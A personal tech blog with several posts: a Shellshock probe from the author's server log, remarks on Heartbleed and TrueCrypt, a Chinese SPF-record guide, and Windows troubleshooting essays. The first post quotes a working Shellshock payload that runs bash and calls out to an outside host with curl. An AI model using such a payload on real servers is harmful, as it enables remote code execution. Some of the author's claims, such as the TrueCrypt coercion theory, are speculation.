Targeted after 3 days

176.102.38.77 - - [27/Sep/2014:04:54:05 +0800] "HEAD /cgi-bin/ HTTP/1.1" 403 158 "-" "() { :;}; /bin/bash -c 'curl http://176.102.38.77/search/e.php?h=<site-name-masked-off>/cgi-bin/'"

This is the first sign on my server that someone try to exploit the potential Shellshock vulnerability on my server, just 3 days after the vulnerability was disclosed. Should I feel happy that I actually get high attention? Luckily I patched this server the next day the vulnerability was disclosed.

Vulnerability found in Bash

2014 must be a really bad year for open source community in security.

Less than 6 months after Heartbleed was found in OpenSSL, now Bash is found vulnerable of remote code execution. This time I’m not sure it’s because of poor funding or something else.

Maybe it’s a good time now to look back on how did the Heartbleed bug come about. Mr. Bruce Schenier posted a very good article on this.

Wow, what happened to TrueCrypt?

I heard about this last week but didn’t have time to check it out. I can’t believe it’s so drama!

I’m a regular user of TrueCrypt, but I don’t visit its website.  I’ve never had to ask anything for support. It just works.

Now this is what on their website:

 

truecrypt_website_after_may

REALLY?!

The only explanation that makes sense to me is: The developers were forced to (by threatening or beating) abandon this great software. Why? Because it’s so good that some secrete agency simple cannot break into a TrueCrypt encrypted disk.

Now have all the reason to continue using TrueCrypt!

Heartbleed vulnerability

Just saw some friends sharing this in Wechat. Seems I will have a lot of work to do – patching my servers, replacing certificates, regenerating keys, etc.:(

It’s really unbelievable. This will be a big blow on the open source community. I already saw people saying “see? Open source is no securer”. Well, they are right.

To me, this has nothing to do with open source or not. M$ may have something even worse but you will need longer time to find out. I just searched the web and found that as a library that has been so widely used, OpenSSL has only one full time developer and receives on average $2,000 donation per year. What do you expect?

But that simply won’t justify such a disaster and it will cast a bad image for open source community in general. I can only hope leaders in this industry see this differently and start to support these great open source projects. They deserve better!

spf记录怎么用

曾经稀里糊涂地用过好几回,但是一直没有认真研究过。论坛上关于使用方法众说纷纭,可能分别适用于不同的场景,但是很少看到完整的介绍。刚刚看到DigitalOcean上这一篇文章说的比较清楚了。

How To use an SPF Record to Prevent Spoofing & Improve E-mail Reliability

作为一个text记录,spf字段的结构如下:

<spf preamble> <address list>

v=spf1 spf记录的起始标志。目前只有1号版本的spf,所以只有这一种写法。

后面是一个地址或者名称的列表,列表项用空格符隔开。

在每个地址列表项之前,可以有如下四种修饰符:

  1. + 表示该地址被明确允许发送来自该域名的邮件。该修饰符可省略。
  2. – 表示该地址被明确禁止发送来自该域名的邮件。
  3. ? 表示对该地址目前暂时没有策略。
  4. ~ 表示对该地址应该使用柔性策略,接收方应该接受,但是可以进行特殊标记。

地址列表项本身有如下几种格式:

  1. all 匹配任何地址;
  2. a 匹配该域中任何A记录地址;
  3. ip4: 匹配紧随其后的IPv4地址或者地址段;
  4. ip6: 匹配紧随其后的IPv6地址或者地址段;
  5. mx 匹配该域中的任何mx记录地址;

因此,假设一个域domainabc.com有spf记录如下:

v=spf1 ip4:123.23.4.5 -all

这个记录的意思是,除了123.23.4.5这个地址之外,其他任何地址发送来自domainabc.com的邮件,都应该被拒绝。

考虑到高可用性,一个域通常至少有两台smtp服务器在工作,因此这条记录更可能是这样的:

v=spf1 ip4:123.23.4.5 ip4:123.23.4.5 -all

如果该域之前已经有MX记录,指向就是123.23.4.5和123.23.4.6,那么该记录可以简化为:

v=spf1 mx -all

如果有一天,domainabc.com需要额外允许一个网段发送邮件,可以将记录改为:

v=spf1 mx ip4:107.8.9.0/24 -all

假设domainabc.com需要迁移自己的邮件服务器,mx记录已经切换,但是原本的邮件服务器需要逐步停止使用,那么可以首先这么修改:

v=spf1 mx ip4:107.8.9.0/24 ?123.23.4.5 -all

其中123.23.4.5是准备退休的邮件服务器。经过一段时间之后,可以再把记录改为:

v=spf1 mx ip4:107.8.9.0/24 ~123.23.4.5 -all

最后,确认所有内部应用都开始使用新的服务器了,再把原来的服务器地址防到禁止列表里去。

v=spf1 mx ip4:107.8.9.0/24 -all

注意最后的“-all”匹配任意地址。就是这样。

Windows mind set vs. Linux mind set

I wanted to talk about this for a long time, however, the key points were not clear until recently I ran into the pipeline concept in PowerShell.

When you do pipeline in PowerShell, you’re passing not a text stream from the left command to the right command, but rather, you’re passing a .net object.

When I read this from TechNet, I smiled to myself, yes, this is typical Microsoft!

Windows PowerShell provides a new architecture that is based on objects, rather than text. 
The cmdlet that receives an object can act directly on its properties and methods without 
any conversion or manipulation. Users can refer to properties and methods of the object by
 name, rather than calculating the position of the data in the output.

And I said to myself, now I know what I wanted to say.

One key difference between Windows and Linux is, Windows always tries to be smarter, where GNU Linux tries to stay plain and humble. Pipeline in scripting is just one recent example.

Linux has been using text configuration files. Windows came along and said, we need something better. That’s how Windows Registry came about.

Linux has been using pipeline for IPC. Windows came along and said, we need something better. That’s how COM came about.

Linux has been using lock files to prevent processes to start another instance. Windows came along and said, we need something better. So they use Kernel Object instead.

Linux has been using permissions as a basic security measure. Windows came along and said, we need something better. So they do everything using ACLs.

Linux has been using symbolic links. Windows came along and said, we need something better and introduced short cuts.

To be fair, not all of them are bad ideas.

Despite its complexity and awkward configuration, COM gained such popularity that it became the basic foundation of modern Windows. Open registry in any Windows that has been used for a while and chances are the biggest tree is HKLM\Classes\CLSIDS. (One of the key reasons why you Windows becomes slower as you install more and more software).

Kernel Object is much more reliable than lock files. ACLs indeed provide much flexibility in terms of access control. Linux is also doing it now.

However, we all know that Windows have record of being smart in cheap ways and then fail pathetically. (SilverLight is the one that came into my mind as I write this) To me, this idea of passing objects through pipeline looks like just another one that will fail.

Having said that, I have to admit that, this difference between Windows and Linux is also not surprising.  Linux is developed by community led by technical experts. Introducing new features always involves extensive discussions between these experts.That’s why Linux has a bad reputation of not listening to its users.

Where as for Windows, most likely, new features are proposed by requirement collection team and developer team, then the list of new features have to go through rounds of prioritization processes. If there are disputes, then there will be escalations and some manager will decide. Once decided, then features still in the list will be implemented. Period.

Now, it is actually surprising that Microsoft actually made some key decisions right, right? 🙂

What slows down your Windows?

Windows has long been complained of performing slower and slower as being used. This essay tries to explain how and why.

Before we go into details, let’s make it clear that we’re talking about the architecture design of Windows that makes it not performing in certain situation. So this is consistently measurable performance difference. We’re not talking about bad performance because of wrong configuration. Nor are we going to talk about performance of a specific program.  A specific instance of slow down, for example, your notepad will performance slower when you have a lot of other programs running, is not what we’re going to talk about.

First of all, there’s no reason Windows should perform worse (or better) if you just spend more time on it. If the installation keeps the same, the size of your computer keeps the same, Windows should perform the same.

However, if one of your running programs or a device driver has memory leak, then it will eat up more and more memory as time pass by. That will slow down your Windows. The unique thing about this type of performance issue is, after a fresh restart, Windows should perform well. In the early days, memory leak was a common issue on Windows. That attributed much to the common belief that you should restart your Windows once in a while to keep better performance. Now, most commonly used program is mature enough to be free of memory leak, Windows should perform just the same as time goes by.

However, as time goes by, you’ll probably keep installing new software on your Windows. This could indeed slow down your computer. The reason is, by installing any non-trivial software, you’re not only copying files to the disk, but also registering COM components to Windows. These registry key/values will be keep in memory. So the more software you install, the less memory your program will be able to get.

As an example, after you install a program that is able to open a new file format, chances are:

  • You’ll not be able to see a thumb nail that shows the content of the file in Explorer;
  • You’ll see this program listed in the pop-up menu of this file type;

They were made possible using COM technology that depends heavily on Windows Registry.

The problem is, this registry keys/values won’t get cleaned up when you uninstall the software. So Windows registry keeps growing and growing, your programs have lesser and lesser memory to use.

The other factor that would for sure slow down your computer is disk fragmentation. Disk fragmentation affect performance not only when your program does disk IO. If your page file is fragmented, paging operation will be slow. That will cause noticeable sluggish. Also remember that all executable files and dll files become memory map files, so if they are fragmented, your program will be slow not only during start up, but also in running phase.

Bloated registry and disk fragmentation are the two reason that your Windows slows down in the long run. In some of my Windows computers, I actually create separate partitions for page file, for outlook pst file and Windows tmp file. These techniques worked quite well.

imsc12.ime causes mmc.exe to freeze?

I had suffered from this annoying problem for a long time – Every time I opened the compmgmt.msc file, and tried to check the system log (or application log, or any other log loged by Event Log), I could open the event property windows normally by double click on a log entry. But as soon as I closed the event property window, the whole application got frozen. That is, I can move the main windows, maximize it, minimize or restore it, but the content of the window became blank. Soon after that, the title bar of mmc told me that the application stoped responding.

I couldn’t figure what’s happening until one time, I used SystemInternals’ process explorer – I love this tools – I found that there’s a new thread being spawned when I opened the event property window. Yet when I closed the window, the thread didn’t terminate. Just a desperate move in order to solve this problem, I killed the thread using procexp. Magically, the mmc window restored to its normal state!

I tried to reproduce this scenario, some time it works, other times it failed.

Yesterday, when I got an error, I check the log and got stucked, again! When I fired process explorer and trying to kill the stuck thread, this time, the worst thing happened, process explorer got stuck!

Finally, I would have to solve the whold problem. I launched visual studio, and created a new project, and attach to mmc.exe process. I waited for all the symbols got loaded and paused the process.

There they were! In the thread window, there were four threads, I repeated the resume and pause for some time. Everytime the process pauses at the same thread. So I can assume this thread was busy doing something. The call stack show that this thread is doing somthing with the IME engine – I’m working on an simplified Chinese platform.

There was another thread with a paused flag, I switched to this thread, call stack show it was paused in a WaitForSingleObject function call. It must be the main thread. A peek at The bottom line of the calling stack confirmed this.

So, could it be the IME engine causes this frozen?

I investigated the loaded modules of the process, and the imsc12.ime seemes suspicious. It was the module sit on top of the call stack of the busy thread.

I opened the c:\windows\system32\ folder and found the file. In the security property of the file, I denied everyone from accessing this file. After that, I opened the compmgmt.msc and double clicked on an event. With cautious and anxiety, I closed the window… IT WENT WELL! THE PROBLEM GOT SOLVED!

ps, I searched the net with all the possible keywords combination. It seemed nobody else ever had this problem.

An ugly implementation

Recently, I’ve been working on an CPropertySheet based application. It has multiple property page. Along with every property page, there’s a working thread behind the scene. I use a timer and a critical section kernel object to syncronize the working thread and the GUI update.

I tested the code with just one page, it works fine. But when I add the second page to the property sheet, the code ends up with an assert error on the SetTimer function call with the OnInitDialog funciton of the PropertySheet.

I was confused by this odd – it takes me a whole day to figure out what happened to the second property page. Finally I realized that the page would not be created till the user clicked the tab and activate the hiding page. So in OnInitDialog function, all propertypages’ m_hwnd is NULL – except for the first page, it has been activated automatically – that lead to the ASSERT error.

To solve this problem, I use a loop to activate the pages within the OnInitDialog function of propertysheet and then SetTimer. It works, but what an ugly implementation! If anyone has a neat approach, pls let me know.